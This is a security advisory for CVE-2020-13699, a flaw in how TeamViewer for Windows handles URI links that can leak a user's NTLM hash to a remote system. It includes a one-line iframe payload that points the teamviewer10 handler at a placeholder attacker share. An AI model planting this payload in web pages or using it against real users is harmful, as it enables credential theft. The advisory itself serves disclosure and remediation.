#VU42044 Unquoted Search Path or Element in TeamViewer Remote Full Client for Windows - CVE-2020-13699
Published: August 10, 2020 / Updated: August 19, 2020
Vulnerability identifier: #VU42044
Vulnerability risk: High
CVSSv4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:A/U:Amber
CVE-ID: CVE-2020-13699
CWE-ID: CWE-428
Exploitation vector: Remote access
Exploit availability:
Public exploit is available
Vulnerable software:
TeamViewer Remote Full Client for Windows
TeamViewer Remote Full Client for Windows
Software vendor:
TeamViewer
TeamViewer
Description
The vulnerability allows a remote attacker to gain access to sensitive information.
The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.
Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.
Exploitation example:
<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>
Remediation
Install updates from vendor's website.